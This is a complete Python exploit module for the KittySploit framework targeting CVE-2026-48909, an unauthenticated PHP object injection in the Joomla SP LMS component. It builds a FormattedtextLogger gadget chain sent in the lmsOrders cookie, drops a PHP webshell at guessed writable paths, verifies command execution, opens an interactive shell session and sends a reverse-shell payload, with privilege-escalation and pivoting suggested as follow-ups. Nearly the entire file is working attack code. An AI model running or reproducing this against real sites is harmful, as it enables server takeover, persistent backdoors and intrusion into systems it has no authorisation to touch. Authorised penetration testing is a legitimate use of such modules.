Joomla SP LMS <= 4.1.3 - PHP Object Injection RCE (CVE-2026-48909)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from __future__ import annotations
import base64
import random
import re
import string
import time
from typing import Optional
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.joomla_probe import Joomla

class Module(Exploit, Http_client, Joomla):
    __info__ = {'name': 'Joomla SP LMS <= 4.1.3 - PHP Object Injection RCE (CVE-2026-48909)', 'description': 'Exploits CVE-2026-48909 in JoomShaper SP LMS (com_splms) <= 4.1.3: unauthenticated PHP object injection via the lmsOrders cookie on the cart view, chaining Joomla FormattedtextLogger to write a webshell. RCE requires Joomla < 5.2.2.', 'author': ['Amin İsayev', 'Proxima Cyber Security', 'KittySploit Team'], 'cve': ['CVE-2026-48909'], 'arch': [Arch.PHP], 'platform': Platform.PHP, 'category': 'singles', 'payload': {'default': 'payloads/singles/cmd/php/reverse_tcp', 'arch': Arch.PHP, 'platform': Platform.PHP, 'category': 'singles'}, 'references': ['https://www.cve.org/CVERecord?id=CVE-2026-48909'], 'tags': ['joomla', 'splms', 'joomshaper', 'php-object-injection', 'deserialization', 'rce', 'cve-2026-48909'], 'agent': {'risk': 'intrusive', 'effects': ['active_exploitation'], 'expected_requests': 8, 'reversible': False, 'approval_required': True, 'produces': ['exploit_paths', 'risk_signals'], 'cost': 1.5, 'noise': 0.5, 'value': 1.0, 'requires': {'min_endpoints': 0, 'min_params': 0, 'tech_hints_any': ['joomla', 'php'], 'tech_hints_all': [], 'specializations_any': [], 'risk_signals_any': [], 'auth_session': False, 'capabilities_any': [], 'capabilities_all': [], 'confidence_min': {}, 'confidence_min_any': {'joomla': 0.3, 'php': 0.3}, 'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False}, 'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}, {'capability': 'shell', 'from_detail': ''}], 'consumes_capabilities': [], 'option_bindings': {}, 'suggested_followups': ['post/shell/multi/gather/privesc_suggester', 'post/shell/multi/manage/pivot_autoroute']}}}
    _SPLMS_PATCHED = '4.1.4'
    _JOOMLA_RCE_PATCHED = '5.2.2'
    _CART_PATH = '/index.php?option=com_splms&view=cart'
    _COOKIE_NAME = 'lmsOrders'
    _PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    _XML_VERSION_RE = re.compile('<version>([^<]+)</version>', re.IGNORECASE)
    _SERVER_PATH_PATTERNS = ((re.compile('^/home\\d*/[^/]+/public_html(/.*)'), 1), (re.compile('^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)'), 1))
    _WEBROOT_PREFIXES = ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www')
    _COMMON_SERVER_PATHS = ('/var/www/html/images/{name}.php', '/var/www/html/tmp/{name}.php', '/var/www/html/cache/{name}.php', '/var/www/{name}.php', '/tmp/{name}.php')
    server_path = OptString('', 'Absolute PHP-writable path on the server (e.g. /var/www/html/images/ks.php). When empty, common writable paths are tried automatically.', required=False)
    cmd_param = OptString('c', 'GET parameter used by the dropped webshell', required=False)
    verify_cmd = OptString('id', 'Command used to verify shell execution', required=False)
    skip_version_check = OptBool(False, 'Attempt exploit even when component/Joomla versions appear patched', required=False, advanced=True)

    def __init__(self, framework=None):
        super().__init__(framework)
        self._shell_url_path: Optional[str] = None
        self._session_connections: dict = {}

    def _probe_splms(self) -> dict:
        result = {'found': False, 'version': None}
        for manifest in ('/administrator/components/com_splms/splms.xml', '/components/com_splms/splms.xml'):
            response = self.joomla_http_get(manifest, timeout=8)
            if not response or response.status_code != 200:
                continue
            body = response.text or ''
            match = self._XML_VERSION_RE.search(body)
            if match:
                return {'found': True, 'version': match.group(1).strip()}
            if 'com_splms' in body.lower():
                result['found'] = True
                break
        return result

    @staticmethod
    def _php_s(s: str) -> str:
        return f'''s:{len(s.encode('utf-8'))}:"{s}";'''

    @staticmethod
    def _php_pk(name: str) -> str:
        return f'\x00*\x00{name}'

    def _build_serialized(self, webshell_path: str, fmt: str) -> str:
        entry = 'O:23:"Joomla\\CMS\\Log\\LogEntry":3:{s:4:"date";s:10:"1234567890";s:4:"time";s:1:"t";s:1:"f";s:3:"xxx";}'
        cn = 'Joomla\\CMS\\Log\\Logger\\FormattedtextLogger'
        props = self._php_s(self._php_pk('defer')) + 'b:1;' + self._php_s(self._php_pk('options')) + 'a:1:{s:16:"text_file_no_php";b:1;}' + self._php_s(self._php_pk('path')) + self._php_s(webshell_path) + self._php_s(self._php_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' + self._php_s(self._php_pk('format')) + self._php_s(fmt) + self._php_s(self._php_pk('fields')) + 'a:0:{}'
        return f'''O:{len(cn.encode('utf-8'))}:"{cn}":6:{{{props}}}'''

    def _build_cookie_payload(self, webshell_path: str, php_code: str) -> tuple[str, int]:
        hex_code = php_code.encode('utf-8').hex()
        core = f'<?php fwrite(fopen("{webshell_path}","w"),hex2bin("{hex_code}"));'
        pad_prefix = '/*'
        pad_suffix = '*/;?>'
        for target_fmt_len in range(200, 8000):
            pad_len = target_fmt_len - len(core.encode('utf-8')) - len(pad_prefix) - len(pad_suffix)
            if pad_len < 0:
                continue
            fmt_probe = core + pad_prefix + self._PAD_CHARS[0] * pad_len + pad_suffix
            if len(self._build_serialized(webshell_path, fmt_probe).encode('latin-1')) % 3 != 0:
                continue
            for pad_char in self._PAD_CHARS:
                fmt = core + pad_prefix + pad_char * pad_len + pad_suffix
                b64 = base64.b64encode(self._build_serialized(webshell_path, fmt).encode('latin-1')).decode('ascii')
                if '/' not in b64 and '+' not in b64:
                    return (b64, len(fmt))
        raise RuntimeError('Could not build Joomla cmd-filter-safe deserialization payload')

    @classmethod
    def _server_path_to_url(cls, server_path: str) -> str:
        for pattern, group in cls._SERVER_PATH_PATTERNS:
            match = pattern.match(server_path)
            if match:
                return match.group(group)
        for prefix in cls._WEBROOT_PREFIXES:
            if server_path.startswith(prefix):
                return server_path[len(prefix):] or '/'
        return server_path

    def _random_shell_name(self) -> str:
        suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
        return f'ks{suffix}'

    def _build_webshell_source(self) -> str:
        param = str(self.cmd_param or 'c').strip() or 'c'
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode('utf-8', errors='replace')
        command = str(payload or '').strip()
        if command:
            return f'<?php if(isset($_REQUEST["{param}"])){{@system($_REQUEST["{param}"]);}}}}else{{@fpassthru(@popen($_GET["{param}"],"r"));}} ?>'
        return f'<?php @fpassthru(@popen($_GET["{param}"],"r"));?>'

    def _candidate_server_paths(self) -> list[str]:
        explicit = str(self.server_path or '').strip()
        if explicit:
            return [explicit]
        name = self._random_shell_name()
        return [pattern.format(name=name) for pattern in self._COMMON_SERVER_PATHS]

    def check(self):
        joomla = self.probe_joomla()
        if not joomla.get('found'):
            return {'vulnerable': False, 'reason': 'Joomla not detected', 'confidence': 'low'}
        splms = self._probe_splms()
        if not splms.get('found'):
            return {'vulnerable': False, 'reason': 'SP LMS (com_splms) not detected', 'confidence': 'low'}
        joomla_version = joomla.get('version')
        splms_version = splms.get('version')
        if not self.skip_version_check:
            if splms_version and (not self.version_less_than(splms_version, self._SPLMS_PATCHED)):
                return {'vulnerable': False, 'reason': f'SP LMS {splms_version} >= {self._SPLMS_PATCHED} (patched)', 'confidence': 'high'}
            if joomla_version and (not self.version_less_than(joomla_version, self._JOOMLA_RCE_PATCHED)):
                return {'vulnerable': False, 'reason': f'Joomla {joomla_version} >= {self._JOOMLA_RCE_PATCHED} — FormattedtextLogger gadget chain blocked', 'confidence': 'high'}
        confidence = 'high' if splms_version else 'medium'
        reason = f"Joomla + SP LMS detected (SP LMS {splms_version or 'unknown'}). Likely vulnerable to CVE-2026-48909 if component < {self._SPLMS_PATCHED} and Joomla < {self._JOOMLA_RCE_PATCHED}."
        return {'vulnerable': True, 'reason': reason, 'confidence': confidence}

    def _resolve_command(self) -> str:
        custom = str(self.shell_from_payload() or '').strip()
        if custom:
            return custom
        raw = self.payload
        if isinstance(raw, bytes):
            return raw.decode('utf-8', errors='replace')
        return str(raw or '').strip()

    def execute(self, cmd: str) -> str:
        if not self._shell_url_path:
            return ''
        param = str(self.cmd_param or 'c').strip() or 'c'
        response = self.http_request(method='GET', path=self._shell_url_path, params={param: cmd}, timeout=15)
        if not response or response.status_code != 200:
            return ''
        return response.text or ''

    def _verify_shell(self, url_path: str) -> bool:
        param = str(self.cmd_param or 'c').strip() or 'c'
        verify_command = str(self.verify_cmd or 'id').strip() or 'id'
        response = self.http_request(method='GET', path=url_path, params={param: verify_command}, timeout=15)
        body = response.text or '' if response else ''
        return bool(response and response.status_code == 200 and ('uid=' in body))

    def _open_webshell_session(self, url_path: str) -> Optional[str]:
        if not self.framework or not hasattr(self.framework, 'session_manager'):
            print_warning('Framework session manager unavailable; webshell session not registered')
            return None
        protocol = 'https' if getattr(self, 'ssl', False) else 'http'
        session_id = self.framework.session_manager.create_session(host=str(self.target), port=int(self.port), session_type='http_cmd', data={'protocol': protocol, 'uripath': url_path, 'platform': 'php', 'exploit_module': 'joomla_splms_cve_2026_48909', 'cmd_param': str(self.cmd_param or 'c')})
        self._session_connections[session_id] = self._PhpCmdChannel(self.execute)
        print_success(f'HTTP command shell session opened: {session_id}')
        print_info(f'Webshell path: {url_path}')
        print_info("Use 'sessions -i <id>' for an interactive shell")
        return session_id

    def _dispatch_reverse_payload(self, command: str) -> None:
        if self.disablePayloadHandler:
            return
        if not command:
            print_warning('No reverse payload generated; only the HTTP command shell is available')
            return
        lhost = self.lhost
        lport = self.lport
        if lhost and lport:
            print_status(f'Dispatching reverse shell payload to {lhost}:{lport}')
        else:
            print_status('Dispatching reverse shell payload')
        self.execute(command)

    def run(self):
        try:
            print_status('CVE-2026-48909 — Joomla SP LMS PHP object injection RCE')
            print_status(f'Target: {self.target}:{self.port}')
            check = self.check()
            if not check.get('vulnerable'):
                print_error(check.get('reason', 'Target does not appear vulnerable'))
                self.not_vulnerable()
                return False
            print_success(check.get('reason', 'Target appears vulnerable'))
            webshell = self._build_webshell_source()
            param = str(self.cmd_param or 'c').strip() or 'c'
            verify_command = str(self.verify_cmd or 'id').strip() or 'id'
            for server_path in self._candidate_server_paths():
                url_path = self._server_path_to_url(server_path)
                if not url_path.startswith('/'):
                    url_path = '/' + url_path
                print_status(f'Trying server path: {server_path}')
                print_status(f'Expected shell URL path: {url_path}')
                try:
                    payload, fmt_len = self._build_cookie_payload(server_path, webshell)
                except RuntimeError as exc:
                    print_warning(f'Payload build failed for {server_path}: {exc}')
                    continue
                trigger = self.http_request(method='GET', path=self._CART_PATH, cookies={self._COOKIE_NAME: payload}, allow_redirects=True, timeout=15)
                gadget_triggered = bool(trigger and trigger.status_code == 500)
                print_status(f"Cookie trigger HTTP {(trigger.status_code if trigger else 'n/a')} (gadget={('yes' if gadget_triggered else 'unknown')})")
                time.sleep(1)
                loader = self.http_request(method='GET', path=url_path, timeout=15)
                print_status(f"Loader HTTP {(loader.status_code if loader else 'n/a')} | format={fmt_len} bytes")
                verify = self.http_request(method='GET', path=url_path, params={param: verify_command}, timeout=15)
                verify_body = verify.text or '' if verify else ''
                shell_active = self._verify_shell(url_path)
                if shell_active:
                    print_success(f'Shell active at {url_path}')
                    self._shell_url_path = url_path
                    session_id = self._open_webshell_session(url_path)
                    if session_id:
                        self._dispatch_reverse_payload(self._resolve_command())
                        print_success('Exploit finished — verify session/handler for callback')
                        self.vulnerable()
                        return True
                    print_warning('Shell verified but session registration failed')
                    self.vulnerable()
                    return False
                if verify_body.strip() and len(verify_body.strip()) < 600:
                    print_warning(f'File may be reachable but verification inconclusive: {verify_body.strip()[:200]}')
                    self.vulnerable()
                    return False
                if loader and loader.status_code == 404:
                    print_warning(f'Shell not found at {url_path} — trying next path')
                    continue
            print_error('Exploitation failed — no writable path succeeded')
            print_warning('Set server_path to an absolute PHP-writable directory on the target (e.g. /var/www/html/images/ks.php)')
            return False
        except Exception as exc:
            print_error(f'Exploitation failed: {exc}')
            return False

    class _PhpCmdChannel:
        """Bridge the dropped PHP webshell into an interactive http_cmd session."""

        def __init__(self, execute_fn):
            self.run_command = execute_fn